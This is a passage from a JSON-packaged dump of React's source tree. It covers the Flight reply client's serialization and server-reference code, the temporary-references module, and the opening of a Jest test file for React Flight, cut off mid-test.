serializeTypedArray('U', value);\n      }\n      if (value instanceof Int16Array) {\n        // sort\n        return serializeTypedArray('S', value);\n      }\n      if (value instanceof Uint16Array) {\n        // unsigned short\n        return serializeTypedArray('s', value);\n      }\n      if (value instanceof Int32Array) {\n        // long\n        return serializeTypedArray('L', value);\n      }\n      if (value instanceof Uint32Array) {\n        // unsigned long\n        return serializeTypedArray('l', value);\n      }\n      if (value instanceof Float32Array) {\n        // float\n        return serializeTypedArray('G', value);\n      }\n      if (value instanceof Float64Array) {\n        // double\n        return serializeTypedArray('g', value);\n      }\n      if (value instanceof BigInt64Array) {\n        // number\n        return serializeTypedArray('M', value);\n      }\n      if (value instanceof BigUint64Array) {\n        // unsigned number\n        // We use \"m\" instead of \"n\" since JSON can start with \"null\"\n        return serializeTypedArray('m', value);\n      }\n      if (value instanceof DataView) {\n        return serializeTypedArray('V', value);\n      }\n      // TODO: Blob is not available in old Node/browsers. Remove the typeof check later.\n      if (typeof Blob === 'function' && value instanceof Blob) {\n        if (formData === null) {\n          formData = new FormData();\n        }\n        const blobId = nextPartId++;\n        formData.append(formFieldPrefix + blobId, value);\n        return serializeBlobID(blobId);\n      }\n\n      const iteratorFn = getIteratorFn(value);\n      if (iteratorFn) {\n        const iterator = iteratorFn.call(value);\n        if (iterator === value) {\n          // Iterator, not Iterable\n          const iteratorId = nextPartId++;\n          const partJSON = serializeModel(\n            Array.from((iterator: any)),\n            iteratorId,\n          );\n          if (formData === null) {\n            formData = new FormData();\n          }\n          formData.append(formFieldPrefix + iteratorId, partJSON);\n          return serializeIteratorID(iteratorId);\n        }\n        return Array.from((iterator: any));\n      }\n\n      // TODO: ReadableStream is not available in old Node. Remove the typeof check later.\n      if (\n        typeof ReadableStream === 'function' &&\n        value instanceof ReadableStream\n      ) {\n        return serializeReadableStream(value);\n      }\n      const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =\n        (value: any)[ASYNC_ITERATOR];\n      if (typeof getAsyncIterator === 'function') {\n        // We treat AsyncIterables as a Fragment and as such we might need to key them.\n        return serializeAsyncIterable(\n          (value: any),\n          getAsyncIterator.call((value: any)),\n        );\n      }\n\n      // Verify that this is a simple plain object.\n      const proto = getPrototypeOf(value);\n      if (\n        proto !== ObjectPrototype &&\n        (proto === null || getPrototypeOf(proto) !== null)\n      ) {\n        if (temporaryReferences === undefined) {\n          throw new Error(\n            'Only plain objects, and a few built-ins, can be passed to Server Functions. ' +\n              'Classes or null prototypes are not supported.' +\n              (__DEV__ ? describeObjectForErrorMessage(parent, key) : ''),\n          );\n        }\n        // We will have written this object to the temporary reference set above\n        // so we can replace it with a marker to refer to this slot later.\n        return serializeTemporaryReferenceMarker();\n      }\n      if (__DEV__) {\n        if ((value: any).$$typeof === REACT_CONTEXT_TYPE) {\n          console.error(\n            'React Context Providers cannot be passed to Server Functions from the Client.%s',\n            describeObjectForErrorMessage(parent, key),\n          );\n        } else if (objectName(value) !== 'Object') {\n          console.error(\n            'Only plain objects can be passed to Server Functions from the Client. ' +\n              '%s objects are not supported.%s',\n            objectName(value),\n            describeObjectForErrorMessage(parent, key),\n          );\n        } else if (!isSimpleObject(value)) {\n          console.error(\n            'Only plain objects can be passed to Server Functions from the Client. ' +\n              'Classes or other objects with methods are not supported.%s',\n            describeObjectForErrorMessage(parent, key),\n          );\n        } else if (Object.getOwnPropertySymbols) {\n          const symbols = Object.getOwnPropertySymbols(value);\n          if (symbols.length > 0) {\n            console.error(\n              'Only plain objects can be passed to Server Functions from the Client. ' +\n                'Objects with symbol properties like %s are not supported.%s',\n              symbols[0].description,\n              describeObjectForErrorMessage(parent, key),\n            );\n          }\n        }\n      }\n\n      // $FlowFixMe[incompatible-return]\n      return value;\n    }\n\n    if (typeof value === 'string') {\n      // TODO: Maybe too clever. If we support URL there's no similar trick.\n      if (value[value.length - 1] === 'Z') {\n        // Possibly a Date, whose toJSON automatically calls toISOString\n        // $FlowFixMe[incompatible-use]\n        const originalValue = parent[key];\n        if (originalValue instanceof Date) {\n          return serializeDateFromDateJSON(value);\n        }\n      }\n\n      return escapeStringValue(value);\n    }\n\n    if (typeof value === 'boolean') {\n      return value;\n    }\n\n    if (typeof value === 'number') {\n      return serializeNumber(value);\n    }\n\n    if (typeof value === 'undefined') {\n      return serializeUndefined();\n    }\n\n    if (typeof value === 'function') {\n      const referenceClosure = knownServerReferences.get(value);\n      if (referenceClosure !== undefined) {\n        const existingReference = writtenObjects.get(value);\n        if (existingReference !== undefined) {\n          return existingReference;\n        }\n        const {id, bound} = referenceClosure;\n        const referenceClosureJSON = JSON.stringify({id, bound}, resolveToJSON);\n        if (formData === null) {\n          // Upgrade to use FormData to allow us to stream this value.\n          formData = new FormData();\n        }\n        // The reference to this function came from the same client so we can pass it back.\n        const refId = nextPartId++;\n        formData.set(formFieldPrefix + refId, referenceClosureJSON);\n        const serverReferenceId = serializeServerReferenceID(refId);\n        // Store the server reference ID for deduplication.\n        writtenObjects.set(value, serverReferenceId);\n        return serverReferenceId;\n      }\n      if (temporaryReferences !== undefined && key.indexOf(':') === -1) {\n        // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n        const parentReference = writtenObjects.get(parent);\n        if (parentReference !== undefined) {\n          // If the parent has a reference, we can refer to this object indirectly\n          // through the property name inside that parent.\n          const reference = parentReference + ':' + key;\n          // Store this object so that the server can refer to it later in responses.\n          writeTemporaryReference(temporaryReferences, reference, value);\n          return serializeTemporaryReferenceMarker();\n        }\n      }\n      throw new Error(\n        'Client Functions cannot be passed directly to Server Functions. ' +\n          'Only Functions passed from the Server can be passed back again.',\n      );\n    }\n\n    if (typeof value === 'symbol') {\n      if (temporaryReferences !== undefined && key.indexOf(':') === -1) {\n        // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n        const parentReference = writtenObjects.get(parent);\n        if (parentReference !== undefined) {\n          // If the parent has a reference, we can refer to this object indirectly\n          // through the property name inside that parent.\n          const reference = parentReference + ':' + key;\n          // Store this object so that the server can refer to it later in responses.\n          writeTemporaryReference(temporaryReferences, reference, value);\n          return serializeTemporaryReferenceMarker();\n        }\n      }\n      throw new Error(\n        'Symbols cannot be passed to a Server Function without a ' +\n          'temporary reference set. Pass a TemporaryReferenceSet to the options.' +\n          (__DEV__ ? describeObjectForErrorMessage(parent, key) : ''),\n      );\n    }\n\n    if (typeof value === 'bigint') {\n      return serializeBigInt(value);\n    }\n\n    throw new Error(\n      `Type ${typeof value} is not supported as an argument to a Server Function.`,\n    );\n  }\n\n  function serializeModel(model: ReactServerValue, id: number): string {\n    if (typeof model === 'object' && model !== null) {\n      const reference = serializeByValueID(id);\n      writtenObjects.set(model, reference);\n      if (temporaryReferences !== undefined) {\n        // Store this object so that the server can refer to it later in responses.\n        writeTemporaryReference(temporaryReferences, reference, model);\n      }\n    }\n    modelRoot = model;\n    // $FlowFixMe[incompatible-return] it's not going to be undefined because we'll encode it.\n    return JSON.stringify(model, resolveToJSON);\n  }\n\n  function abort(reason: mixed): void {\n    if (pendingParts > 0) {\n      pendingParts = 0; // Don't resolve again later.\n      // Resolve with what we have so far, which may have holes at this point.\n      // They'll error when the stream completes on the server.\n      if (formData === null) {\n        resolve(json);\n      } else {\n        resolve(formData);\n      }\n    }\n  }\n\n  const json = serializeModel(root, 0);\n\n  if (formData === null) {\n    // If it's a simple data structure, we just use plain JSON.\n    resolve(json);\n  } else {\n    // Otherwise, we use FormData to let us stream in the result.\n    formData.set(formFieldPrefix + '0', json);\n    if (pendingParts === 0) {\n      // $FlowFixMe[incompatible-call] this has already been refined.\n      resolve(formData);\n    }\n  }\n\n  return abort;\n}\n\nconst boundCache: WeakMap<\n  ServerReferenceClosure,\n  Thenable<FormData>,\n> = new WeakMap();\n\nfunction encodeFormData(reference: any): Thenable<FormData> {\n  let resolve, reject;\n  // We need to have a handle on the thenable so that we can synchronously set\n  // its status from processReply, when it can complete synchronously.\n  const thenable: Thenable<FormData> = new Promise((res, rej) => {\n    resolve = res;\n    reject = rej;\n  });\n  processReply(\n    reference,\n    '',\n    undefined, // TODO: This means React Elements can't be used as state in progressive enhancement.\n    (body: string | FormData) => {\n      if (typeof body === 'string') {\n        const data = new FormData();\n        data.append('0', body);\n        body = data;\n      }\n      const fulfilled: FulfilledThenable<FormData> = (thenable: any);\n      fulfilled.status = 'fulfilled';\n      fulfilled.value = body;\n      resolve(body);\n    },\n    e => {\n      const rejected: RejectedThenable<FormData> = (thenable: any);\n      rejected.status = 'rejected';\n      rejected.reason = e;\n      reject(e);\n    },\n  );\n  return thenable;\n}\n\nfunction defaultEncodeFormAction(\n  this: any => Promise<any>,\n  identifierPrefix: string,\n): ReactCustomFormAction {\n  const referenceClosure = knownServerReferences.get(this);\n  if (!referenceClosure) {\n    throw new Error(\n      'Tried to encode a Server Action from a different instance than the encoder is from. ' +\n        'This is a bug in React.',\n    );\n  }\n  let data: null | FormData = null;\n  let name;\n  const boundPromise = referenceClosure.bound;\n  if (boundPromise !== null) {\n    let thenable = boundCache.get(referenceClosure);\n    if (!thenable) {\n      const {id, bound} = referenceClosure;\n      thenable = encodeFormData({id, bound});\n      boundCache.set(referenceClosure, thenable);\n    }\n    if (thenable.status === 'rejected') {\n      throw thenable.reason;\n    } else if (thenable.status !== 'fulfilled') {\n      throw thenable;\n    }\n    const encodedFormData = thenable.value;\n    // This is hacky but we need the identifier prefix to be added to\n    // all fields but the suspense cache would break since we might get\n    // a new identifier each time. So we just append it at the end instead.\n    const prefixedData = new FormData();\n    // $FlowFixMe[prop-missing]\n    encodedFormData.forEach((value: string | File, key: string) => {\n      // $FlowFixMe[incompatible-call]\n      prefixedData.append('$ACTION_' + identifierPrefix + ':' + key, value);\n    });\n    data = prefixedData;\n    // We encode the name of the prefix containing the data.\n    name = '$ACTION_REF_' + identifierPrefix;\n  } else {\n    // This is the simple case so we can just encode the ID.\n    name = '$ACTION_ID_' + referenceClosure.id;\n  }\n  return {\n    name: name,\n    method: 'POST',\n    encType: 'multipart/form-data',\n    data: data,\n  };\n}\n\nfunction customEncodeFormAction(\n  reference: any => Promise<any>,\n  identifierPrefix: string,\n  encodeFormAction: EncodeFormActionCallback,\n): ReactCustomFormAction {\n  const referenceClosure = knownServerReferences.get(reference);\n  if (!referenceClosure) {\n    throw new Error(\n      'Tried to encode a Server Action from a different instance than the encoder is from. ' +\n        'This is a bug in React.',\n    );\n  }\n  let boundPromise: Promise<Array<any>> = (referenceClosure.bound: any);\n  if (boundPromise === null) {\n    boundPromise = Promise.resolve([]);\n  }\n  return encodeFormAction(referenceClosure.id, boundPromise);\n}\n\nfunction isSignatureEqual(\n  this: any => Promise<any>,\n  referenceId: ServerReferenceId,\n  numberOfBoundArgs: number,\n): boolean {\n  const referenceClosure = knownServerReferences.get(this);\n  if (!referenceClosure) {\n    throw new Error(\n      'Tried to encode a Server Action from a different instance than the encoder is from. ' +\n        'This is a bug in React.',\n    );\n  }\n  if (referenceClosure.id !== referenceId) {\n    // These are different functions.\n    return false;\n  }\n  // Now check if the number of bound arguments is the same.\n  const boundPromise = referenceClosure.bound;\n  if (boundPromise === null) {\n    // No bound arguments.\n    return numberOfBoundArgs === 0;\n  }\n  // Unwrap the bound arguments array by suspending, if necessary. As with\n  // encodeFormData, this means isSignatureEqual can only be called while React\n  // is rendering.\n  switch (boundPromise.status) {\n    case 'fulfilled': {\n      const boundArgs = boundPromise.value;\n      return boundArgs.length === numberOfBoundArgs;\n    }\n    case 'pending': {\n      throw boundPromise;\n    }\n    case 'rejected': {\n      throw boundPromise.reason;\n    }\n    default: {\n      if (typeof boundPromise.status === 'string') {\n        // Only instrument the thenable if the status if not defined.\n      } else {\n        const pendingThenable: PendingThenable<Array<any>> =\n          (boundPromise: any);\n        pendingThenable.status = 'pending';\n        pendingThenable.then(\n          (boundArgs: Array<any>) => {\n            const fulfilledThenable: FulfilledThenable<Array<any>> =\n              (boundPromise: any);\n            fulfilledThenable.status = 'fulfilled';\n            fulfilledThenable.value = boundArgs;\n          },\n          (error: mixed) => {\n            const rejectedThenable: RejectedThenable<number> =\n              (boundPromise: any);\n            rejectedThenable.status = 'rejected';\n            rejectedThenable.reason = error;\n          },\n        );\n      }\n      throw boundPromise;\n    }\n  }\n}\n\nlet fakeServerFunctionIdx = 0;\n\nfunction createFakeServerFunction<A: Iterable<any>, T>(\n  name: string,\n  filename: string,\n  sourceMap: null | string,\n  line: number,\n  col: number,\n  environmentName: string,\n  innerFunction: (...A) => Promise<T>,\n): (...A) => Promise<T> {\n  // This creates a fake copy of a Server Module. It represents the Server Action on the server.\n  // We use an eval so we can source map it to the original location.\n\n  const comment =\n    '/* This module is a proxy to a Server Action. Turn on Source Maps to see the server source. */';\n\n  if (!name) {\n    // An eval:ed function with no name gets the name \"eval\". We give it something more descriptive.\n    name = '<anonymous>';\n  }\n  const encodedName = JSON.stringify(name);\n  // We generate code where both the beginning of the function and its parenthesis is at the line\n  // and column of the server executed code. We use a method form since that lets us name it\n  // anything we want and because the beginning of the function and its parenthesis is the same\n  // column. Because Chrome inspects the location of the parenthesis and Firefox inspects the\n  // location of the beginning of the function. By not using a function expression we avoid the\n  // ambiguity.\n  let code;\n  if (line <= 1) {\n    const minSize = encodedName.length + 7;\n    code =\n      's=>({' +\n      encodedName +\n      ' '.repeat(col < minSize ? 0 : col - minSize) +\n      ':' +\n      '(...args) => s(...args)' +\n      '})\\n' +\n      comment;\n  } else {\n    code =\n      comment +\n      '\\n'.repeat(line - 2) +\n      'server=>({' +\n      encodedName +\n      ':\\n' +\n      ' '.repeat(col < 1 ? 0 : col - 1) +\n      // The function body can get printed so we make it look nice.\n      // This \"calls the server with the arguments\".\n      '(...args) => server(...args)' +\n      '})';\n  }\n\n  if (filename.startsWith('/')) {\n    // If the filename starts with `/` we assume that it is a file system file\n    // rather than relative to the current host. Since on the server fully qualified\n    // stack traces use the file path.\n    // TODO: What does this look like on Windows?\n    filename = 'file://' + filename;\n  }\n\n  if (sourceMap) {\n    // We use the prefix about://React/ to separate these from other files listed in\n    // the Chrome DevTools. We need a \"host name\" and not just a protocol because\n    // otherwise the group name becomes the root folder. Ideally we don't want to\n    // show these at all but there's two reasons to assign a fake URL.\n    // 1) A printed stack trace string needs a unique URL to be able to source map it.\n    // 2) If source maps are disabled or fails, you should at least be able to tell\n    //    which file it was.\n    code +=\n      '\\n//# sourceURL=about://React/' +\n      encodeURIComponent(environmentName) +\n      '/' +\n      encodeURI(filename) +\n      '?s' + // We add an extra s here to distinguish from the fake stack frames\n      fakeServerFunctionIdx++;\n    code += '\\n//# sourceMappingURL=' + sourceMap;\n  } else if (filename) {\n    code += '\\n//# sourceURL=' + filename;\n  }\n\n  try {\n    // Eval a factory and then call it to create a closure over the inner function.\n    // eslint-disable-next-line no-eval\n    return (0, eval)(code)(innerFunction)[name];\n  } catch (x) {\n    // If eval fails, such as if in an environment that doesn't support it,\n    // we fallback to just returning the inner function.\n    return innerFunction;\n  }\n}\n\nexport function registerBoundServerReference<T: Function>(\n  reference: T,\n  id: ServerReferenceId,\n  bound: null | Thenable<Array<any>>,\n  encodeFormAction: void | EncodeFormActionCallback,\n): void {\n  if (knownServerReferences.has(reference)) {\n    return;\n  }\n\n  knownServerReferences.set(reference, {\n    id,\n    originalBind: reference.bind,\n    bound,\n  });\n\n  // Expose encoder for use by SSR, as well as a special bind that can be used to\n  // keep server capabilities.\n  if (usedWithSSR) {\n    // Only expose this in builds that would actually use it. Not needed in the browser.\n    const $$FORM_ACTION =\n      encodeFormAction === undefined\n        ? defaultEncodeFormAction\n        : function (\n            this: any => Promise<any>,\n            identifierPrefix: string,\n          ): ReactCustomFormAction {\n            return customEncodeFormAction(\n              this,\n              identifierPrefix,\n              encodeFormAction,\n            );\n          };\n    Object.defineProperties((reference: any), {\n      $$FORM_ACTION: {value: $$FORM_ACTION},\n      $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},\n      bind: {value: bind},\n    });\n  }\n}\n\nexport function registerServerReference<T: Function>(\n  reference: T,\n  id: ServerReferenceId,\n  encodeFormAction?: EncodeFormActionCallback,\n): ServerReference<T> {\n  registerBoundServerReference(reference, id, null, encodeFormAction);\n  return reference;\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: Function): Function {\n  const referenceClosure = knownServerReferences.get(this);\n\n  if (!referenceClosure) {\n    // $FlowFixMe[incompatible-call]\n    return FunctionBind.apply(this, arguments);\n  }\n\n  const newFn = referenceClosure.originalBind.apply(this, arguments);\n\n  if (__DEV__) {\n    const thisBind = arguments[0];\n    if (thisBind != null) {\n      // This doesn't warn in browser environments since it's not instrumented outside\n      // usedWithSSR. This makes this an SSR only warning which we don't generally do.\n      // TODO: Consider a DEV only instrumentation in the browser.\n      console.error(\n        'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n      );\n    }\n  }\n\n  const args = ArraySlice.call(arguments, 1);\n  let boundPromise = null;\n  if (referenceClosure.bound !== null) {\n    boundPromise = Promise.resolve((referenceClosure.bound: any)).then(\n      boundArgs => boundArgs.concat(args),\n    );\n  } else {\n    boundPromise = Promise.resolve(args);\n  }\n\n  knownServerReferences.set(newFn, {\n    id: referenceClosure.id,\n    originalBind: newFn.bind,\n    bound: boundPromise,\n  });\n\n  // Expose encoder for use by SSR, as well as a special bind that can be used to\n  // keep server capabilities.\n  if (usedWithSSR) {\n    // Only expose this in builds that would actually use it. Not needed on the client.\n    Object.defineProperties((newFn: any), {\n      $$FORM_ACTION: {value: this.$$FORM_ACTION},\n      $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},\n      bind: {value: bind},\n    });\n  }\n\n  return newFn;\n}\n\nexport type FindSourceMapURLCallback = (\n  fileName: string,\n  environmentName: string,\n) => null | string;\n\nexport function createBoundServerReference<A: Iterable<any>, T>(\n  metaData: {\n    id: ServerReferenceId,\n    bound: null | Thenable<Array<any>>,\n    name?: string, // DEV-only\n    env?: string, // DEV-only\n    location?: ReactFunctionLocation, // DEV-only\n  },\n  callServer: CallServerCallback,\n  encodeFormAction?: EncodeFormActionCallback,\n  findSourceMapURL?: FindSourceMapURLCallback, // DEV-only\n): (...A) => Promise<T> {\n  const id = metaData.id;\n  const bound = metaData.bound;\n  let action = function (): Promise<T> {\n    // $FlowFixMe[method-unbinding]\n    const args = Array.prototype.slice.call(arguments);\n    const p = bound;\n    if (!p) {\n      return callServer(id, args);\n    }\n    if (p.status === 'fulfilled') {\n      const boundArgs = p.value;\n      return callServer(id, boundArgs.concat(args));\n    }\n    // Since this is a fake Promise whose .then doesn't chain, we have to wrap it.\n    // TODO: Remove the wrapper once that's fixed.\n    return ((Promise.resolve(p): any): Promise<Array<any>>).then(\n      function (boundArgs) {\n        return callServer(id, boundArgs.concat(args));\n      },\n    );\n  };\n  if (__DEV__) {\n    const location = metaData.location;\n    if (location) {\n      const functionName = metaData.name || '';\n      const [, filename, line, col] = location;\n      const env = metaData.env || 'Server';\n      const sourceMap =\n        findSourceMapURL == null ? null : findSourceMapURL(filename, env);\n      action = createFakeServerFunction(\n        functionName,\n        filename,\n        sourceMap,\n        line,\n        col,\n        env,\n        action,\n      );\n    }\n  }\n  registerBoundServerReference(action, id, bound, encodeFormAction);\n  return action;\n}\n\n// This matches either of these V8 formats.\n//     at name (filename:0:0)\n//     at filename:0:0\n//     at async filename:0:0\nconst v8FrameRegExp =\n  /^ {3} at (?:(.+) \\((.+):(\\d+):(\\d+)\\)|(?:async )?(.+):(\\d+):(\\d+))$/;\n// This matches either of these JSC/SpiderMonkey formats.\n// name@filename:0:0\n// filename:0:0\nconst jscSpiderMonkeyFrameRegExp = /(?:(.*)@)?(.*):(\\d+):(\\d+)/;\n\nfunction parseStackLocation(error: Error): null | ReactFunctionLocation {\n  // This parsing is special in that we know that the calling function will always\n  // be a module that initializes the server action. We also need this part to work\n  // cross-browser so not worth a Config. It's DEV only so not super code size\n  // sensitive but also a non-essential feature.\n  let stack = error.stack;\n  if (stack.startsWith('Error: react-stack-top-frame\\n')) {\n    // V8's default formatting prefixes with the error message which we\n    // don't want/need.\n    stack = stack.slice(29);\n  }\n  const endOfFirst = stack.indexOf('\\n');\n  let secondFrame;\n  if (endOfFirst !== -1) {\n    // Skip the first frame.\n    const endOfSecond = stack.indexOf('\\n', endOfFirst + 1);\n    if (endOfSecond === -1) {\n      secondFrame = stack.slice(endOfFirst + 1);\n    } else {\n      secondFrame = stack.slice(endOfFirst + 1, endOfSecond);\n    }\n  } else {\n    secondFrame = stack;\n  }\n\n  let parsed = v8FrameRegExp.exec(secondFrame);\n  if (!parsed) {\n    parsed = jscSpiderMonkeyFrameRegExp.exec(secondFrame);\n    if (!parsed) {\n      return null;\n    }\n  }\n\n  let name = parsed[1] || '';\n  if (name === '<anonymous>') {\n    name = '';\n  }\n  let filename = parsed[2] || parsed[5] || '';\n  if (filename === '<anonymous>') {\n    filename = '';\n  }\n  // This is really the enclosingLine/Column.\n  const line = +(parsed[3] || parsed[6]);\n  const col = +(parsed[4] || parsed[7]);\n\n  return [name, filename, line, col];\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: ServerReferenceId,\n  callServer: CallServerCallback,\n  encodeFormAction?: EncodeFormActionCallback,\n  findSourceMapURL?: FindSourceMapURLCallback, // DEV-only\n  functionName?: string,\n): (...A) => Promise<T> {\n  let action = function (): Promise<T> {\n    // $FlowFixMe[method-unbinding]\n    const args = Array.prototype.slice.call(arguments);\n    return callServer(id, args);\n  };\n  if (__DEV__) {\n    // Let's see if we can find a source map for the file which contained the\n    // server action. We extract it from the runtime so that it's resilient to\n    // multiple passes of compilation as long as we can find the final source map.\n    const location = parseStackLocation(new Error('react-stack-top-frame'));\n    if (location !== null) {\n      const [, filename, line, col] = location;\n      // While the environment that the Server Reference points to can be\n      // in any environment, what matters here is where the compiled source\n      // is from and that's in the currently executing environment. We hard\n      // code that as the value \"Client\" in case the findSourceMapURL helper\n      // needs it.\n      const env = 'Client';\n      const sourceMap =\n        findSourceMapURL == null ? null : findSourceMapURL(filename, env);\n      action = createFakeServerFunction(\n        functionName || '',\n        filename,\n        sourceMap,\n        line,\n        col,\n        env,\n        action,\n      );\n    }\n  }\n  registerBoundServerReference(action, id, null, encodeFormAction);\n  return action;\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightTemporaryReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ninterface Reference {}\n\nexport opaque type TemporaryReferenceSet = Map<string, Reference | symbol>;\n\nexport function createTemporaryReferenceSet(): TemporaryReferenceSet {\n  return new Map();\n}\n\nexport function writeTemporaryReference(\n  set: TemporaryReferenceSet,\n  reference: string,\n  object: Reference | symbol,\n): void {\n  set.set(reference, object);\n}\n\nexport function readTemporaryReference<T>(\n  set: TemporaryReferenceSet,\n  reference: string,\n): T {\n  return (set.get(reference): any);\n}\n"
  },
  {
    "path": "packages/react-client/src/__tests__/ReactFlight-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nif (typeof Blob === 'undefined') {\n  global.Blob = require('buffer').Blob;\n}\nif (typeof File === 'undefined' || typeof FormData === 'undefined') {\n  global.File = require('undici').File;\n  global.FormData = require('undici').FormData;\n}\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n      const dot = name.lastIndexOf('.');\n      if (dot !== -1) {\n        name = name.slice(dot + 1);\n      }\n      return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n    })\n  );\n}\n\nfunction normalizeReactCodeLocInfo(str) {\n  const repoRootForRegexp = __REACT_ROOT_PATH_TEST__.replace(/\\//g, '\\\\/');\n  const repoFileLocMatch = new RegExp(`${repoRootForRegexp}.+?:\\\\d+:\\\\d+`, 'g');\n  return str && str.replace(repoFileLocMatch, '**');\n}\n\n// If we just use the original Error prototype, Jest will only display the error message if assertions fail.\n// But we usually want to also assert on our expando properties or even the stack.\n// By hiding the fact from Jest that this is an error, it will show all enumerable properties on mismatch.\n\nfunction getErrorForJestMatcher(error) {\n  return {\n    ...error,\n    // non-enumerable properties that are still relevant for testing\n    message: error.message,\n    stack: normalizeReactCodeLocInfo(error.stack),\n  };\n}\n\nconst finalizationRegistries = [];\nfunction FinalizationRegistryMock(callback) {\n  this._heldValues = [];\n  this._callback = callback;\n  finalizationRegistries.push(this);\n}\nFinalizationRegistryMock.prototype.register = function (target, heldValue) {\n  this._heldValues.push(heldValue);\n};\nglobal.FinalizationRegistry = FinalizationRegistryMock;\n\nfunction gc() {\n  for (let i = 0; i < finalizationRegistries.length; i++) {\n    const registry = finalizationRegistries[i];\n    const callback = registry._callback;\n    const heldValues = registry._heldValues;\n    for (let j = 0; j < heldValues.length; j++) {\n      callback(heldValues[j]);\n    }\n    heldValues.length = 0;\n  }\n}\n\nlet act;\nlet use;\nlet startTransition;\nlet React;\nlet ReactServer;\nlet ReactNoop;\nlet ReactNoopFlightServer;\nlet ReactNoopFlightClient;\nlet ErrorBoundary;\nlet NoErrorExpected;\nlet Scheduler;\nlet assertLog;\nlet assertConsoleErrorDev;\nlet getDebugInfo;\n\ndescribe('ReactFlight', () => {\n  beforeEach(() => {\n    // Mock performance.now for timing tests\n    let time = 10;\n    const now = jest.fn().mockImplementation(() => {\n      return time++;\n    });\n    Object.defineProperty(performance, 'timeOrigin', {\n      value: time,\n      configurable: true,\n    });\n    Object.defineProperty(performance, 'now', {\n      value: now,\n      configurable: true,\n    });\n\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    // This stores the state so we need to preserve it\n    const flightModules = require('react-noop-renderer/flight-modules');\n    jest.resetModules();\n    __unmockReact();\n    jest.mock('react-noop-renderer/flight-modules', () => flightModules);\n    React = require('react');\n    startTransition = React.startTransition;\n    use = React.use;\n    ReactNoop = require('react-noop-renderer');\n    ReactNoopFlightClient = require('react-noop-renderer/flight-client');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    getDebugInfo = InternalTestUtils.getDebugInfo.bind(null, {\n      useV8Stack: true,\n      ignoreRscStreamInfo: true,\n    });\n\n    ErrorBoundary = class extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      componentDidCatch(error, errorInfo) {\n        expect(error).toBe(this.state.error);\n        if (this.props.expectedStack !== undefined) {\n          expect(normalizeCodeLocInfo(errorInfo.componentStack)).toBe(\n            this.props.expectedStack,\n          );\n        }\n      }\n      componentDidMount() {\n        expect(this.state.hasError).toBe(true);\n        expect(this.state.error).toBeTruthy();\n        if (__DEV__) {\n          expect(this.state.error.message).toContain(\n            this.props.expectedMessage,\n          );\n          expect(this.state.error.digest).toBe('a dev digest');\n          expect(this.state.error.environmentName).toBe(\n            this.props.expectedEnviromentName || 'Server',\n          );\n          if (this.props.expectedErrorStack !== undefined) {\n            expect(this.state.error.stack).toContain(\n              this.props.expectedErrorStack,\n            );\n          }\n        } else {\n          expect(this.state.error.message).toBe(\n            'An error occurred in the Server Components render. The specific message is omitted in production' +\n              ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n              ' may provide additional details about the nature of the error.',\n          );\n          let expectedDigest = this.props.expectedMessage;\n          if (\n            expectedDigest.startsWith('{') ||\n            expectedDigest.startsWith('<')\n          ) {\n            expectedDigest = '{}';\n          } else if (expectedDigest.startsWith('[')) {\n            expectedDigest = '[]';\n          }\n          expect(this.state.error.digest).toContain(expectedDigest);\n          expect(this.state.error.environmentName).toBe(undefined);\n          expect(this.state.error.stack).toBe(\n            'Error: ' + this.state.error.message,\n          );\n        }\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.state.error.message;\n        }\n        return this.props.children;\n      }\n    };\n\n    NoErrorExpected = class extends React.Component {\n      state = {hasError: false, error: null};\n      static getDerivedStateFromError(error) {\n        return {\n          hasError: true,\n          error,\n        };\n      }\n      componentDidMount() {\n        expect(this.state.error).toBe(null);\n        expect(this.state.hasError).toBe(false);\n      }\n      render() {\n        if (this.state.hasError) {\n          return this.state.error.message;\n        }\n        return this.props.children;\n      }\n    };\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  function clientReference(value) {\n    return Object.defineProperties(\n      function () {\n        throw new Error('Cannot call a client function from the server.');\n      },\n      {\n        $$typeof: {value: Symbol.for('react.client.reference')},\n        value: {value: value},\n      },\n    );\n  }\n\n  it('can render a Server Component', async () => {\n    function Bar({text}) {\n      return text.toUpperCase();\n    }\n    function Foo() {\n      return {\n        bar: (\n          <div>\n            <Bar text=\"a\" />, <Bar text=\"b\" />\n          </div>\n        ),\n      };\n    }\n    const transport = ReactNoopFlightServer.render({\n      foo: <Foo />,\n    });\n    const model = await ReactNoopFlightClient.read(transport);\n    expect(model).toEqual({\n      foo: {\n        bar: (\n          <div>\n            {'A'}\n            {', '}\n            {'B'}\n          </div>\n        ),\n      },\n    });\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('can render a Client Component using a module reference and render there', async () => {\n    function UserClient(props) {\n      return 